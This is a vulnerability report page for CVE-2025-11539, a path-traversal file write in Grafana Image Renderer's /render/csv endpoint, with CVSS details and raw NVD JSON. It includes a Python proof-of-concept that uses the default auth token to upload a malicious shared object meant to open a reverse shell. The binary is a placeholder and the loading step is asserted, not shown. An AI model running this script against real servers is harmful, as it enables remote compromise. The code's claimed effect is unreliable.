Security Vulnerability Report
中文
CVE-2025-11539 CVSS 9.9 CRITICAL

CVE-2025-11539

Published: 2025-10-09 08:15:39
Last Modified: 2026-04-15 00:35:42

Description

Grafana Image Renderer is vulnerable to remote code execution due to an arbitrary file write vulnerability. This is due to the fact that the /render/csv endpoint lacked validation of the filePath parameter that allowed an attacker to save a shared object to an arbitrary location that is then loaded by the Chromium process. Instances are vulnerable if: 1. The default token ("authToken") is not changed, or is known to the attacker. 2. The attacker can reach the image renderer endpoint. This issue affects grafana-image-renderer: from 1.0.0 through 4.0.16.

CVSS Details

CVSS Score
9.9
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

grafana-image-renderer >= 1.0.0
grafana-image-renderer < 4.0.17

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11539 - Grafana Image Renderer RCE via Arbitrary File Write # Exploit: Path traversal in /render/csv filePath parameter to write malicious .so file # The malicious .so is loaded by Chromium process, resulting in RCE import requests TARGET_URL = "https://target-grafana-image-renderer:8081" AUTH_TOKEN = "authToken" # default token or known token # Step 1: Create a malicious shared object that executes a reverse shell # Compile with: gcc -shared -fPIC -o evil.so evil.c EVIL_SO_CONTENT = b"\x7fELF..." # Placeholder for compiled .so binary # Step 2: Exploit path traversal in filePath parameter to write .so to # a directory that Chromium will load (e.g., /tmp or LD_PRELOAD path) malicious_filepath = "../../tmp/evil.so" headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/octet-stream" } # Step 3: Send crafted request to /render/csv with traversal path response = requests.post( f"{TARGET_URL}/render/csv", headers=headers, params={"filePath": malicious_filepath}, data=EVIL_SO_CONTENT ) # Step 4: Trigger Chromium to load the malicious .so # When the renderer service processes a new request, Chromium loads the .so trigger_response = requests.get( f"{TARGET_URL}/render/version", headers=headers ) print(f"Exploit status: {response.status_code}") print(f"Trigger status: {trigger_response.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11539", "sourceIdentifier": "[email protected]", "published": "2025-10-09T08:15:38.813", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Grafana Image Renderer is vulnerable to remote code execution due to an arbitrary file write vulnerability. This is due to the fact that the /render/csv endpoint lacked validation of the filePath parameter that allowed an attacker to save a shared object to an arbitrary location that is then loaded by the Chromium process.\n\nInstances are vulnerable if:\n\n1. The default token (\"authToken\") is not changed, or is known to the attacker.\n2. The attacker can reach the image renderer endpoint.\nThis issue affects grafana-image-renderer: from 1.0.0 through 4.0.16."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://github.com/grafana/grafana-image-renderer/releases/tag/v4.0.17", "source": "[email protected]"}, {"url": "https://grafana.com/security/security-advisories/cve-2025-11539/", "source": "[email protected]"}]}}